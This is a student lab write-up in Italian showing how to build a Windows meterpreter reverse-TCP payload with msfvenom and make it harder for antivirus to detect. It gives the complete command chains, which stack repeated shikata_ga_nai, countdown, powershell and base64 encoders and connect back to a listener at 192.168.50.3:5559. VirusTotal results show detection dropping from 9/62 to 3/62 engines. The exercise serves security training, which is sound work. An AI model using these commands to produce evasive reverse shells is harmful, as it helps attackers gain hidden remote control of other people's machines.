

## UNIT3 S9/L1 - msfvenom malware

### Creazione di un Malware con Msfvenom

L'esercizio di oggi consiste nel creare un malware utilizzando msfvenom che sia meno rilevabile rispetto al malware analizzato durante la lezione.

#### Passaggi da Seguire

- Preparazione dell'Ambiente Assicuratevi di avere un ambiente di lavoro sicuro e isolato, preferibilmente una macchina virtuale, per evitare danni al sistema principale.
- Utilizzo di msfvenom per generare il malware.
- Migliorare la Non Rilevabilità
- Test del Malware una volta generato.
- Analisi dei Risultati Confronta i risultati del tuo malware con quelli analizzati durante la lezione. Valuta le differenze in termini di rilevabilità e discuti le possibili migliorie.

#### esercizio

```
(kali@kali)-[~]
$ msfvenom --list encoders

Framework Encoders [--encoder <value>]



| Name                         | Rank      | Description                                            |
|------------------------------|-----------|--------------------------------------------------------|
| cmd/base64                   | good      | Base64 Command Encoder                                 |
| cmd/brace                    | low       | Bash Brace Expansion Command Encoder                   |
| cmd/echo                     | good      | Echo Command Encoder                                   |
| cmd/generic_sh               | manual    | Generic Shell Variable Substitution Command Encoder    |
| cmd/ifs                      | low       | Bourne \${IFS} Substitution Command Encoder            |
| cmd/perl                     | normal    | Perl Command Encoder                                   |
| cmd/powershell_base64        | excellent | Powershell Base64 Command Encoder                      |
| cmd/printf_php_mq            | manual    | printf(1) via PHP magic_quotes Utility Command Encoder |
| generic/eicar                | manual    | The EICAR Encoder                                      |
| generic/none                 | normal    | The "none" Encoder                                     |
| mipsbe/byte_xori             | normal    | Byte XORi Encoder                                      |
| mipsbe/longxor               | normal    | XOR Encoder                                            |
| mipsle/byte_xori             | normal    | Byte XORi Encoder                                      |
| mipsle/longxor               | normal    | XOR Encoder                                            |
| php/base64                   | great     | PHP Base64 Encoder                                     |
| php/hex                      | great     | PHP Hex Encoder                                        |
| php/minify                   | great     | PHP Minify Encoder                                     |
| ppc/longxor                  | normal    | PPC LongXOR Encoder                                    |
| ppc/longxor_tag              | normal    | PPC LongXOR Encoder                                    |
| ruby/base64                  | great     | Ruby Base64 Encoder                                    |
| sparc/longxor_tag            | normal    | SPARC DWORD XOR Encoder                                |
| x64/xor                      | normal    | XOR Encoder                                            |
| x64/xor_context              | normal    | Hostname-based Context Keyed Payload Encoder           |
| x64/xor_dynamic              | normal    | Dynamic key XOR Encoder                                |
| x64/zutto_dekiru             | manual    | Zutto Dekiru                                           |
| x86/add_sub                  | manual    | Add/Sub Encoder                                        |
| x86/alpha_mixed              | low       | Alpha2 Alphanumeric Mixedcase Encoder                  |
| x86/alpha_upper              | low       | Alpha2 Alphanumeric Uppercase Encoder                  |
| x86/avoid_underscore_tolower | manual    | Avoid underscore/tolower                               |
| x86/avoid_utf8_tolower       | manual    | Avoid UTF8/tolower                                     |
| x86/bloxor                   | manual    | BloXor - A Metamorphic Block Based XOR Encoder         |
| x86/bmp_polyglot             | manual    | BMP Polyglot                                           |
| x86/call4_dword_xor          | normal    | Call+4 Dword XOR Encoder                               |
| x86/context_cpuid            | manual    | CPUID-based Context Keyed Payload Encoder              |
| x86/context_stat             | manual    | stat(2)-based Context Keyed Payload Encoder            |
| x86/context_time             | manual    | time(2)-based Context Keyed Payload Encoder            |
| x86/countdown                | normal    | Single-byte XOR Countdown Encoder                      |
| x86/fnstenv_mov              | normal    | Variable-Length Fnstenv/mov Dword XOR Encoder          |
| x86/jmp_call_additive        | normal    | Jump/Call XOR Additive Feedback Encoder                |
| x86/nonalpha                 | low       | Non-Alpha Encoder                                      |
| x86/nonupper                 | low       | Non-Upper Encoder                                      |
| x86/opt_sub                  | manual    | Sub Encoder (optimised)                                |
| x86/service                  | manual    | Register Service                                       |
| x86/shikata_ga_nai           | excellent | Polymorphic XOR Additive Feedback Encoder              |
| x86/single_static_bit        | manual    | Single Static Bit                                      |
| x86/unicode_mixed            | manual    | Alpha2 Alphanumeric Unicode Mixedcase Encoder          |
| x86/unicode_upper            | manual    | Alpha2 Alphanumeric Unicode Uppercase Encoder          |
| x86/xor_dynamic              | normal    | Dynamic Key XOR Encoder                                |
| x86/xor_poly                 | normal    | XOR POLY Encoder                                       |


```

tramite --list encoders richiedo la lista degli encoders disponibili

```

(kali@kali)-[~]
└─$ msfvenom --list formats

Framework Executable Formats [--format <value>]
=====
Name
----
asp
aspx
aspx-exe
axis2
dll
ducky-script-psh
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war

Framework Transform Formats [--format <value>]
=====
Name
----
base32
base64
bash
c
csharp
dw
dword
go
golang
hex
java
js_be
js_le
masm
nim
nimlang
num
octal
perl
pl
powershell
ps1
py
python
raw
rb
ruby
rust
rustlang
sh
vbapplication
vbscript
zig

```

tramite --list formats ci da tutta la lista dei formati di framework e degli executable

provando ad eseguire il codice

```

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.3 LPORT=5559 -a x86
--platform windows -e x86/shikata_ga_nai -i 100 -f raw | msfvenom -a x86 --platform
windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e
x86/shikata_ga_nai -i 138 -o polimorficomm.exe

```

creo un file che ha come nome output pimorficmmm.exe, spiego che tipo di payload deve essere, host del listener e la porta del listener, l'architettura (in questo caso x86), sul sistema windows, e scelgo come primo encoders l'algoritmo shikata\_ga\_nai (che è un algoritmo molto conosciuto ed efficace che verrà iterato 100 volte (nel primo shuffle), e definisco come formato sempre "raw" per essere più furtivo per l'analisi degli antivirus (se avessi definito da subito .exe sarebbe stato più facile da essere stato sgamato)

usando poi il pipe " | " posso incatenare più comandi di msfvenom, usando altri algoritmi o anche sempre lo stesso per reiterare altri encoder.

```
kali@kali: ~
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.3 LPORT=5559 -a x86 --platform windows -e x86/shikata_ga_nai -i 100 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 138 -o polimorficmmm.exe
Attempting to read payload from STDIN ...
Attempting to read payload from STDIN ...
Found 1 compatible encoders
```

il risultato totale dell'analisi da virustotal è stato il seguente

**9 / 62** Community Score

9/62 security vendors flagged this file as malicious

File: c5ff884bd23effbd8763f7a03c2b1f2c1a59e1ff7707fb014f74972d66ac1f1a  
Name: polimorficmmm.exe  
Size: 10.55 KB  
Last Analysis Date: a moment ago

**Popular threat label:** metacoder/shikata  
**Family labels:** metacoder, shikata

**Security vendors' analysis:**

Vendor	Detection	Vendor	Detection
ALYac	Exploit.Metacoder.Shikata.Gen	Arcabit	Exploit.Metacoder.Shikata.Gen
BitDefender	Exploit.Metacoder.Shikata.Gen	CTX	Unknown.exploit-kit.metacoder
Emsisoft	Exploit.Metacoder.Shikata.Gen (B)	eScan	Exploit.Metacoder.Shikata.Gen
Fortinet	Data/Shikata.Alttr	GData	Exploit.Metacoder.Shikata.Gen
VIPRE	Exploit.Metacoder.Shikata.Gen	Acronis (Static ML)	Undetected
AhnLab-V3	Undetected	Alibaba Cloud	Undetected
Antiy-AVL	Undetected	Avast	Undetected
AVG	Undetected	Avira (no cloud)	Undetected
Baidu	Undetected	Bkav Pro	Undetected
ClamAV	Undetected	CMC	Undetected
CrowdStrike Falcon	Undetected	Cynet	Undetected
DrWeb	Undetected	ESET-NOD32	Undetected
Google	Undetected	Gridinsoft (no cloud)	Undetected

a questo punto provando ad abbassare il punteggio cambiamo gli algoritmi

```
(kali@kali)~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.3 LPORT=5559 -a x86 --platform windows -e cmd/powershell -i 100 -f raw | msfvenom -p - -a x86 --platform windows -e x86/countdown -i 150 -f raw | msfvenom -p - -a x86 --platform windows -e cmd/base64 -o polimo.exe
Attempting to read payload from STDIN ...
```

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.50.3 LPORT=5559 -a x86 --platform windows -e cmd/powershell -i 100 -f raw | msfvenom -p - -a x86 --platform windows -e x86/countdown -i 150 -f raw | msfvenom -p - -a x86 --platform windows -e cmd/base64 -o polimo.exe

3  
/ 62

Community Score

3/62 security vendors flagged this file as malicious

Reanalyze Similar More

34e0b96e002a3efcf3f3c3246e10c8bca5558a29f0b99089e437db8786cc2f53

Size  
2.98 KB

polimo.exe

Last Analysis Date  
a moment ago

DETECTION

DETAILS

COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label hack/msfencode

Family labels hack msfencode

Security vendors' analysis

Do you want to automate checks?

Avast	Win32:MsfEncode-Q [Hack]	AVG	Win32:MsfEncode-Q [Hack]
ClamAV	Win.Exploit.Countdown-1	Acronis (Static ML)	Undetected
AhnLab-V3	Undetected	AliCloud	Undetected
ALYac	Undetected	Antiy-AVL	Undetected
Arcabit	Undetected	Avira (no cloud)	Undetected
Baidu	Undetected	BitDefender	Undetected
Bkav Pro	Undetected	CMC	Undetected
CrowdStrike Falcon	Undetected	CTX	Undetected
Cynet	Undetected	DrWeb	Undetected

Questo è l'output di virus total